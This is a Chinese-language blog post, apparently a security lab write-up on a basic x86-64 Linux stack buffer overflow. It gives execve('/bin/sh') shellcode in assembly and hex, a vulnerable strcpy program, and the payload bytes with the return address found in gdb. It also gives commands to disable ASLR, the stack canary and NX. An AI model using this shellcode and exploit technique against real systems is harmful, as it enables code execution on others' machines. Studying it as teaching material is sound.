<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 4.2.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/font-awesome.min.css">


<script id="hexo-configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    hostname: new URL('https://xsyin.github.io').hostname,
    root: '/',
    scheme: 'Mist',
    version: '7.7.1',
    exturl: false,
    sidebar: {"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},
    copycode: {"enable":false,"show_result":false,"style":null},
    back2top: {"enable":true,"sidebar":false,"scrollpercent":false},
    bookmark: {"enable":false,"color":"#222","save":"auto"},
    fancybox: false,
    mediumzoom: false,
    lazyload: false,
    pangu: false,
    comments: {"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},
    algolia: {
      appID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    },
    localsearch: {"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},
    path: 'search.xml',
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}}
  };
</script>

  <meta name="description" content="目的 理解掌握C 栈帧结构 Shellcode 构造 加深理解栈溢出攻击原理及防护措施  要求 在关闭安全机制下,在Linux系统平台上实现缓冲区溢出攻击 开启安全保护机制,运行一样的溢出攻击代码,比较实现现象">
<meta property="og:type" content="article">
<meta property="og:title" content="基础栈溢出">
<meta property="og:url" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/index.html">
<meta property="og:site_name" content="Xsyin">
<meta property="og:description" content="目的 理解掌握C 栈帧结构 Shellcode 构造 加深理解栈溢出攻击原理及防护措施  要求 在关闭安全机制下,在Linux系统平台上实现缓冲区溢出攻击 开启安全保护机制,运行一样的溢出攻击代码,比较实现现象">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_025.png">
<meta property="og:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_028.png">
<meta property="og:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_029.png">
<meta property="og:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_031.png">
<meta property="og:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_032.png">
<meta property="og:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_033.png">
<meta property="og:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_034.png">
<meta property="og:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_035.png">
<meta property="article:published_time" content="2018-05-01T02:53:54.000Z">
<meta property="article:modified_time" content="2018-05-01T02:53:54.000Z">
<meta property="article:author" content="Xu Shouyin">
<meta property="article:tag" content="栈溢出">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/%E9%80%89%E5%8C%BA_025.png">

<link rel="canonical" href="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome: false,
    isPost: true
  };
</script>

  <title>基础栈溢出 | Xsyin</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-meta">

    <div>
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">Xsyin</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
  </div>

  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>
</div>


<nav class="site-nav">
  
  <ul id="menu" class="menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-fw fa-home"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/about/" rel="section"><i class="fa fa-fw fa-user"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-fw fa-tags"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-fw fa-th"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-fw fa-archive"></i>归档</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>

</nav>
  <div class="site-search">
    <div class="popup search-popup">
    <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocorrect="off" autocapitalize="none"
           placeholder="搜索..." spellcheck="false"
           type="text" id="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result"></div>

</div>
<div class="search-pop-overlay"></div>

  </div>
</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>
  <div class="reading-progress-bar"></div>

  <a href="https://github.com/Xsyin" class="github-corner" title="Follow me on GitHub" aria-label="Follow me on GitHub" rel="noopener" target="_blank"><svg width="80" height="80" viewBox="0 0 250 250" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content">
            

  <div class="posts-expand">
      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block " lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/bingguo.jpg">
      <meta itemprop="name" content="Xu Shouyin">
      <meta itemprop="description" content="Go go">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Xsyin">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          基础栈溢出
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2018-05-01 10:53:54" itemprop="dateCreated datePublished" datetime="2018-05-01T10:53:54+08:00">2018-05-01</time>
            </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/%E5%AE%89%E5%85%A8/" itemprop="url" rel="index">
                    <span itemprop="name">安全</span>
                  </a>
                </span>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <h2 id="目的"><a href="#目的" class="headerlink" title="目的"></a>目的</h2><ul>
<li>理解掌握<code>C</code> 栈帧结构</li>
<li><code>Shellcode</code> 构造</li>
<li>加深理解栈溢出攻击原理及防护措施</li>
</ul>
<h2 id="要求"><a href="#要求" class="headerlink" title="要求"></a>要求</h2><ul>
<li>在关闭安全机制下,在Linux系统平台上实现缓冲区溢出攻击</li>
<li>开启安全保护机制,运行一样的溢出攻击代码,比较实现现象</li>
</ul>
<a id="more"></a>

<h2 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h2><p>​      <code>C</code> 栈帧结构如下：</p>
<p><img src="%E9%80%89%E5%8C%BA_025.png" alt="区_02"></p>
<p>​         因此当当前帧的局部变量和临时变量超出区域，覆盖了<code>ebp</code> 和返回地址时，就实现了栈溢出攻击。再通过精心设计返回地址，使其为<code>Shellcode</code> 的起始地址，就完成了运行流的劫持。</p>
<p>​      实例基于 64位 <code>Ubuntu \ 16.04</code> 操作系统版本以及 <code>gcc,gdb</code> 版本信息如下：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU&#x2F;Linux</span><br><span class="line"></span><br><span class="line">gcc (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609</span><br><span class="line"></span><br><span class="line">GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1</span><br></pre></td></tr></table></figure>

<ul>
<li><code>Shellcode</code>  代码</li>
</ul>
<p>​       <code>Shellcode</code> 是一段攻击者精心设计的恶意代码，通常要求与位置无关，且本实验中利用 <code>strcpy()</code> 函数，因此<code>Shellcode</code>  代码中不能出现  <code>\x00</code> ，会被当作<code>\0</code>从而结束拷贝。</p>
<p>​       编写<code>Shellcode</code> ，该<code>shellcode</code> 调用<code>execve(&quot;/bin/sh&quot;,NULL)</code> ，启动一个新的<code>shell</code>，验证其功能，参考: <a href="https://www.exploit-db.com/exploits/36858/" target="_blank" rel="noopener">https://www.exploit-db.com/exploits/36858/</a> ，编写汇编文件如下：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">.global _start</span><br><span class="line">_start:</span><br><span class="line">    # char *const argv[]</span><br><span class="line">    xorl %esi, %esi</span><br><span class="line"> </span><br><span class="line">    # &#39;h&#39; &#39;s&#39; &#39;&#x2F;&#39; &#39;&#x2F;&#39; &#39;n&#39; &#39;i&#39; &#39;b&#39; &#39;&#x2F;&#39;</span><br><span class="line">    movq &#96;0x68732f2f6e69622f, %rbx</span><br><span class="line"> </span><br><span class="line">    # for &#39;\x00&#39;</span><br><span class="line">    pushq %rsi</span><br><span class="line">    pushq %rbx</span><br><span class="line">    pushq %rsp</span><br><span class="line">    </span><br><span class="line">    # const char *filename</span><br><span class="line">    popq %rdi</span><br><span class="line"> </span><br><span class="line">    # __NR_execve 59</span><br><span class="line">    pushq &#96;59</span><br><span class="line">    popq %rax</span><br><span class="line"> </span><br><span class="line">    # char *const envp[]</span><br><span class="line">    xorl %edx, %edx</span><br><span class="line">    syscall</span><br></pre></td></tr></table></figure>

<p><img src="%E9%80%89%E5%8C%BA_028.png" alt="区_02"></p>
<p>   提取机器码：</p>
<p><img src="%E9%80%89%E5%8C%BA_029.png" alt="区_02"></p>
<ul>
<li>漏洞代码</li>
</ul>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">overflow</span><span class="params">(<span class="keyword">char</span>* str)</span></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> buf[<span class="number">30</span>];</span><br><span class="line">    <span class="built_in">strcpy</span>(buf, str);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> str[<span class="number">60</span>]=<span class="string">"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"</span></span><br><span class="line">                  <span class="string">"\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"</span>;</span><br><span class="line">    <span class="built_in">overflow</span>(str);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>​       上面这段程序栈溢出漏洞触发点在<code>strcpy</code>函数, 函数没有做边界检查，可导致栈溢出覆盖返回地址。成功利用栈溢出需要确定覆盖多少个字节可以覆盖到返回地址。因此在<code>gdb</code>调试时确定<code>shellcode</code>的地址即<code>str</code>复制后<code>buf</code>的首地址，让返回地址指向该地址。</p>
<ul>
<li><p>结果</p>
<p>为了更简单的方式实现栈溢出，需要关闭一些保护措施。</p>
</li>
</ul>
<ul>
<li><p><code>ASLR</code> (地址空间布局随机化)</p>
<p>关闭<code>ASLR</code>：<code>echo 0 |sudo tee /proc/sys/kernel/randomize_va_space</code></p>
</li>
<li><p><code>Cannary</code>  金丝雀</p>
<p>开启<code>Canary</code>之后，函数开始时在ebp和临时变量之间插入一个随机值，函数结束时验证这个值。如果不相等（也就是这个值被其他值覆盖了），就会调用 <code>_stackchk_fail</code>函数，终止进程。对应GCC编译选项<code>-fno-stack-protector</code>解除该保护。</p>
</li>
<li><p><code>NX</code><br>开启<code>NX</code>保护之后，程序的堆栈将会不可执行。对应GCC编译选项<code>-z execstack</code>解除该保护。    </p>
</li>
</ul>
<p>编译调试：</p>
<p><img src="%E9%80%89%E5%8C%BA_031.png" alt="区_03"></p>
<p>​       从调试结果可知，<code>buf</code> 的首地址为 <code>0x7fffffffdaa0</code> ，且查看内存该地址处确实为 <code>Shellcode</code> 起始代码。为了覆盖到返回地址，即填充字节至且包括8字节<code>rbp</code> (<code>0x7fffffffdac0</code>) ，则除了<code>shellcode</code>外还需要填充17字节。另外返回地址为<code>0x7fffffffdaa0</code>,改为小端模式<code>\xa0\xda\xff\xff\xff\x7f</code>。因此：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">char</span> str[<span class="number">60</span>]=<span class="string">"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"</span></span><br><span class="line">              <span class="string">"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"</span></span><br><span class="line">              <span class="string">"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"</span></span><br><span class="line">              <span class="string">"\xa0\xda\xff\xff\xff\x7f\x00\x00"</span>;</span><br></pre></td></tr></table></figure>

<p>​     重新编译，gdb调试运行：</p>
<p><img src="%E9%80%89%E5%8C%BA_032.png" alt="区_03"></p>
<p> 成功运行。然而实际运行却是段错误，原因是gdb有自己的变量环境，变量的存放地址和程序实际运行会不一致，因此只需要把返回地址改为shellcode实际存放的地址即可，填充长度无须改变，因为相对偏移不变。</p>
<p>获取<code>shellcode</code> 实际地址，可以打印出<code>buf</code> 地址，也可以利用内核转储获取真实地址。首先启用内核转储 <code>ulimit -c unlimited</code>  ，缺省情况下，内核在coredump时所产生的core文件放在与该程序相同的目录中，并且文件名固定为core。</p>
<p><img src="%E9%80%89%E5%8C%BA_033.png" alt="区_03"></p>
<p>因此修改<code>str</code> 尾部为<code>\x10\xdb\xff\xff\xff\x7f\x00\x00</code>。重新编译运行：</p>
<p><img src="%E9%80%89%E5%8C%BA_034.png" alt="区_03"></p>
<p>若启用保护措施，正常编译：</p>
<p><img src="%E9%80%89%E5%8C%BA_035.png" alt="区_03"></p>

    </div>

    
    
    
        <div>
    <div style="text-align:center;color: #ccc;font-size:14px;">-------------本文结束<i class="fa fa-paw"></i>感谢您的阅读-------------</div>
</div>
        <div class="reward-container">
  <div>不要点开，不要点开</div>
  <button onclick="var qr = document.getElementById('qr'); qr.style.display = (qr.style.display === 'none') ? 'block' : 'none';">
    打赏
  </button>
  <div id="qr" style="display: none;">
      
      <div style="display: inline-block;">
        <img src="/images/wechatpay.jpg" alt="Xu Shouyin 微信支付">
        <p>微信支付</p>
      </div>
      
      <div style="display: inline-block;">
        <img src="/images/alipay.jpg" alt="Xu Shouyin 支付宝">
        <p>支付宝</p>
      </div>

  </div>
</div>

        

<div>
<ul class="post-copyright">
  <li class="post-copyright-author">
    <strong>本文作者： </strong>Xu Shouyin
  </li>
  <li class="post-copyright-link">
    <strong>本文链接：</strong>
    <a href="https://xsyin.github.io/2018/05/01/%E5%9F%BA%E7%A1%80%E6%A0%88%E6%BA%A2%E5%87%BA/" title="基础栈溢出">https://xsyin.github.io/2018/05/01/基础栈溢出/</a>
  </li>
  <li class="post-copyright-license">
    <strong>版权声明： </strong>本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/zh-CN" rel="noopener" target="_blank"><i class="fa fa-fw fa-creative-commons"></i>BY-NC-SA</a> 许可协议。转载请注明出处！ 
  </li>
</ul>
</div>

      <footer class="post-footer">
          
          <div class="post-tags">
              <a href="/tags/Linux/" rel="tag"><i class="fa fa-tag"></i> Linux</a>
              <a href="/tags/%E6%A0%88%E6%BA%A2%E5%87%BA/" rel="tag"><i class="fa fa-tag"></i> 栈溢出</a>
          </div>

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/2018/05/01/Linux-%E6%9D%83%E8%83%BD%E6%9C%BA%E5%88%B6/" rel="prev" title="Linux 权能机制">
      <i class="fa fa-chevron-left"></i> Linux 权能机制
    </a></div>
      <div class="post-nav-item">
    <a href="/2018/05/03/MIPS-CPU%E5%8D%95%E5%91%A8%E6%9C%9F%E8%AE%BE%E8%AE%A1/" rel="next" title="MIPS CPU单周期设计">
      MIPS CPU单周期设计 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  

  </div>


          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let activeClass = CONFIG.comments.activeClass;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#目的"><span class="nav-number">1.</span> <span class="nav-text">目的</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#要求"><span class="nav-number">2.</span> <span class="nav-text">要求</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#实例"><span class="nav-number">3.</span> <span class="nav-text">实例</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="Xu Shouyin"
      src="/images/bingguo.jpg">
  <p class="site-author-name" itemprop="name">Xu Shouyin</p>
  <div class="site-description" itemprop="description">Go go</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">14</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">6</span>
        <span class="site-state-item-name">分类</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">15</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
        <a href="https://github.com/Xsyin" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;Xsyin" rel="noopener" target="_blank"><i class="fa fa-fw fa-github"></i>GitHub</a>
      </span>
      <span class="links-of-author-item">
        <a href="mailto:shouyinXu@163.com" title="E-Mail → mailto:shouyinXu@163.com" rel="noopener" target="_blank"><i class="fa fa-fw fa-envelope"></i>E-Mail</a>
      </span>
  </div>


  <div class="links-of-blogroll motion-element">
    <div class="links-of-blogroll-title">
      <i class="fa fa-fw fa-link"></i>
      推荐阅读
    </div>
    <ul class="links-of-blogroll-list">
        <li class="links-of-blogroll-item">
          <a href="https://tding.top/archives/42c38b10" title="https:&#x2F;&#x2F;tding.top&#x2F;archives&#x2F;42c38b10" rel="noopener" target="_blank">Hexo个性化设置</a>
        </li>
    </ul>
  </div>

      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">Xu Shouyin</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> 强力驱动 v4.2.0
  </div>
  <span class="post-meta-divider">|</span>
  <div class="theme-info">主题 – <a href="https://mist.theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Mist</a> v7.7.1
  </div>

        








      </div>
    </footer>
  </div>

  
  
  <script color='0,0,255' opacity='0.5' zIndex='-1' count='99' src="/lib/canvas-nest/canvas-nest.min.js"></script>
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/muse.js"></script>


<script src="/js/next-boot.js"></script>




  




  
<script src="/js/local-search.js"></script>













  

  

</body>
</html>
